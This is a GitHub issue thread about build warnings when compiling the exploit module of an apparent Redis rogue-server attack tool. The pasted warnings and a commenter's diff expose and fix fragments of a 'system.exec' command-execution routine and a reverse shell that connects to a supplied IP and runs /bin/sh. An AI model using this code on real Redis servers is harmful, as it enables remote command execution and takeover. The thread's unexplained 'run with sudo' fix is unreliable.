Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Console message on make process on ubuntu 18.04 #2

Open
aaaguirrep opened this issue Jan 9, 2020 · 5 comments
Open

Console message on make process on ubuntu 18.04 #2

aaaguirrep opened this issue Jan 9, 2020 · 5 comments

Comments

@aaaguirrep
Copy link

Hi, I have the next message when I do make, do you know if it is ok or is there any issue?

xxxxxx@xxxxxxx:~/redis-rogue-server/RedisModulesSDK/exp$ make
make -C ../rmutil
make[1]: Entering directory '/redis-rogue-server/RedisModulesSDK/rmutil'
ar rcs librmutil.a util.o strings.o sds.o vector.o alloc.o periodic.o
make[1]: Leaving directory '/redis-rogue-server/RedisModulesSDK/rmutil'
gcc -I../ -Wall -g -fPIC -lc -lm -std=gnu99     -c -o exp.o exp.c
exp.c: In function ‘DoCommand’:
exp.c:16:15: warning: initialization discards ‘const’ qualifier from pointer target type [-Wdiscarded-qualifiers]
   char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
               ^~~~~~~~~~~~~~~~~~~~~~~~
exp.c:23:8: warning: implicit declaration of function ‘strlen’ [-Wimplicit-function-declaration]
    if (strlen(buf) + strlen(output) >= size) {
        ^~~~~~
exp.c:23:8: warning: incompatible implicit declaration of built-in function ‘strlen’
exp.c:23:8: note: include ‘<string.h>’ or provide a declaration of ‘strlen’
exp.c:27:4: warning: implicit declaration of function ‘strcat’ [-Wimplicit-function-declaration]
    strcat(output, buf);
    ^~~~~~
exp.c:27:4: warning: incompatible implicit declaration of built-in function ‘strcat’
exp.c:27:4: note: include ‘<string.h>’ or provide a declaration of ‘strcat’
exp.c:29:66: warning: incompatible implicit declaration of built-in function ‘strlen’
   RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
                                                                  ^~~~~~
exp.c:29:66: note: include ‘<string.h>’ or provide a declaration of ‘strlen’
exp.c: In function ‘RevShellCommand’:
exp.c:41:14: warning: initialization discards ‘const’ qualifier from pointer target type [-Wdiscarded-qualifiers]
   char *ip = RedisModule_StringPtrLen(argv[1], &cmd_len);
              ^~~~~~~~~~~~~~~~~~~~~~~~
exp.c:42:18: warning: initialization discards ‘const’ qualifier from pointer target type [-Wdiscarded-qualifiers]
   char *port_s = RedisModule_StringPtrLen(argv[2], &cmd_len);
                  ^~~~~~~~~~~~~~~~~~~~~~~~
exp.c:48:24: warning: implicit declaration of function ‘inet_addr’; did you mean ‘si_addr’? [-Wimplicit-function-declaration]
   sa.sin_addr.s_addr = inet_addr(ip);
                        ^~~~~~~~~
                        si_addr
exp.c:57:3: warning: null argument where non-null required (argument 2) [-Wnonnull]
   execve("/bin/sh", 0, 0);
   ^~~~~~
exp.c: In function ‘RedisModule_OnLoad’:
exp.c:68:5: warning: this ‘if’ clause does not guard... [-Wmisleading-indentation]
     if (RedisModule_CreateCommand(ctx, "system.exec",
     ^~
exp.c:71:2: note: ...this statement, but the latter is misleadingly indented as if it were guarded by the ‘if’
  if (RedisModule_CreateCommand(ctx, "system.rev",
  ^~
ld -o exp.so exp.o -shared -Bsymbolic  -L../rmutil -lrmutil -lc 

Thanks in advance.

@Mr-LiT
Copy link

Mr-LiT commented Jun 16, 2020

Hi, do you solve this problem now? I encountered the same problem today. T_T

@aaaguirrep
Copy link
Author

Hi, do you solve this problem now? I encountered the same problem today. T_T

No yet.

@carlosmaroot
Copy link

same issue here

@kism37
Copy link

kism37 commented Jan 12, 2023

run with sudo, i don't know why but it seems to work here.

@VeNoMouS
Copy link

2,6c2,5
<
< #include <stdio.h>
< #include <unistd.h>
< #include <stdlib.h>
< #include <errno.h>
---
> #include <stdio.h>
> #include <unistd.h>
> #include <stdlib.h>
> #include <errno.h>
8c7
< #include <sys/types.h>
---
> #include <sys/types.h>
11a11,14
> #include <string.h>
> #include <arpa/inet.h>
>
>
16c19
<                 char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
---
>                 const char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
41,42c44,45
<               char *ip = RedisModule_StringPtrLen(argv[1], &cmd_len);
<               char *port_s = RedisModule_StringPtrLen(argv[2], &cmd_len);
---
>               const char *ip = RedisModule_StringPtrLen(argv[1], &cmd_len);
>               const char *port_s = RedisModule_StringPtrLen(argv[2], &cmd_len);
50c53
<
---
>
57c60,61
<               execve("/bin/sh", 0, 0);
---
>               char *argv[] = { NULL };
>               execve("/bin/sh", argv, NULL);

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

5 participants